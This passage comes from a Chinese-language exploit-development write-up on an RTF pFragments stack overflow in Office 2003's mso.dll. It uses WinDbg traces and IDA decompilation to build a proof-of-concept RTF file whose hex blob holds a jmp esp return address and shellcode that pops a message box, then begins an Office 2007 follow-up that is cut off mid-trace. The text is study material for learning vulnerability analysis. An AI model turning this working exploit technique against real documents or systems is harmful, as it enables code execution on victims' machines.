上面的分析流程和之前分析CVE-2010-2883还是有很大区别的,之前分析的poc文件是一个可以成功进行漏洞利用并攻击的样本,里面包含了shellcode。而这次则是从一个引发异常的样本出发,分析出漏洞位置以及如何进行漏洞利用。

 

分析到这里,已经可以看出这是一个很典型的栈溢出漏洞,可以把返回地址覆盖成jmp esp的地址,然后把shellcode放在pFragments中,实现漏洞利用。

4. 构造漏洞利用的poc文件

想要构造POC文件,还需要进行一些静态分析,因为在执行完数据的复制之后,还要执行一些代码才能到达覆盖的返回地址处,如果只是简单的把返回地址和shellcode组合在一起,在到达返回地址之前,会首先触发异常。

 

注:我之所以能确定不能简单组合是因为自己试了一下,由于栈中原本的数据被覆盖,导致后面的函数执行出现异常,所以需要确定哪部分栈中的数据需要进行特殊处理。

 

根据一开始的错误信息:

1
2
mso!Ordinal6426+0x64d:
30e9eb88 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

使用lm指令显示模块信息(因为电脑了有两个mso.dll,所以这一步还是很有必要的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0:000> lm vm mso
start    end        module name
30c90000 31837000   mso        (export symbols)       C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
    Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
    Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
    Image name: mso.dll
    Timestamp:        Fri Aug 08 15:10:06 2003 (3F334CCE)
    CheckSum:         00BA7175
    ImageSize:        00BA7000
    File version:     11.0.5606.0
    Product version:  11.0.5606.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0000.04e4
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft Office 2003
    InternalName:     MSO
    OriginalFilename: MSO.DLL
    ProductVersion:   11.0.5606
    FileVersion:      11.0.5606
    FileDescription:  Microsoft Office 2003 component
    LegalCopyright:   Copyright © 1983-2003 Microsoft Corporation.  All rights reserved.

这里找到了mso.dll的位置,在IDA中分析。

4.1 静态分析mso.dll

漏洞函数的调用发生在sub_30F4CC5D函数中,漏洞函数本身只是在做一个数据的复制,并没有自己的栈帧,所以上面覆盖的返回地址是sub_30F4CC5D的返回地址。

 

在执行完漏洞函数之后,程序又调用了另一个函数,看下图:

 

图片描述

 

调用了sub_30F4CB1D函数,如果这个函数返回值为0,就会达到函数结束的代码,

 

图片描述

 

所以我们需要让sub_30F4CB1D函数的返回值为0。

 

sub_30F4CB1D函数中:

1
2
3
4
5
6
7
8
9
10
11
char __userpurge sub_30F4CB1D@<al>(int a1@<edx>, int a2@<edi>, int ecx0@<ecx>, int a3, int a4, int a5)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  if ( !a5 )
  {
    sub_31439DD5(ecx0, a1);
    return 0;
  }
...
}

所以要让第五个参数(第一个push到栈中的参数)为0。

4.2 确定特殊值的位置

对之前msf生成的poc文件进行修改,为了方便测试,使用的payload是在0day中提供的很简单的弹窗程序。

 

除此之外,注意到上面图片中最后的指令是retn 14h,所以需要在返回地址和payload之间添加20个字节的垃圾数据。

1
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111600090909090909090909090909090909090909090902f762600909090909191919192929292939393939494949433db536877657374686661696c8bc453505053b8ea07457effd053b8faca817cffd05b8be55dc3}}}}

注意这个测试文件,返回地址后面的垃圾数据中,每四个字节的内容都不一样,这样可以更方便地确定是哪块数据需要特殊处理。

 

还是在0x30F4CC5D下断点,然后单步调试。在执行完漏洞函数之后,到达第一个push的位置

1
2
3
4
5
6
0:000> p
eax=93939393 ebx=05000000 ecx=00000000 edx=00000000 esi=01491168 edi=00123f88
eip=30f4cc99 esp=00123db0 ebp=00123dd0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal753+0x2f4a:
30f4cc99 ff7518          push    dword ptr [ebp+18h]  ss:0023:00123de8=94949494

所以最后一个参数是0x94949494所在的位置了,为了再次确定,可以步入到sub_30F4CB1D函数中,执行到比较是否等于0的指令时:

1
2
3
4
5
6
0:000> p
eax=00123dc8 ebx=00000000 ecx=00123dc8 edx=90909090 esi=01491168 edi=00123f88
eip=30f4cb26 esp=00123d8c ebp=00123d9c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal753+0x2dd7:
30f4cb26 395d10          cmp     dword ptr [ebp+10h],ebx ss:0023:00123dac=94949494

所以我们需要把0x94949494修改为0。

4.3 成功^_^

最后得到的poc文件:

1
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111600090909090909090909090909090909090909090902f762600909090909191919192929292939393930000000033db536877657374686661696c8bc453505053b8ea07457effd053b8faca817cffd05b8be55dc3}}}}

保存成rtf文件,双击打开,payload成功执行:

 

图片描述

5. 一些补充问题

其实到这里整个漏洞利用流程就结束了,但是在《漏洞战争》中还提到了一些其他问题,在这里也进行一下总结。

5.1 office2003和office2007的通用性

在上面的实验中,我直接使用了书中提供的返回地址0x0026762f,这个地址在0ffice2003中是通用的,但是在office2007中则会触发异常。

 

其实我一开始安装的是office2007,结果实验结果和书里说的不一样,后来换成了office2003。现在再试一下office2007。

5.1.1 office2007环境下遇到的问题

我遇到的问题就是msf生成的poc文件触发异常的位置不对。

 

在office2007的环境下打开poc文件之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0:004> g
ModLoad: 3c4c0000 3c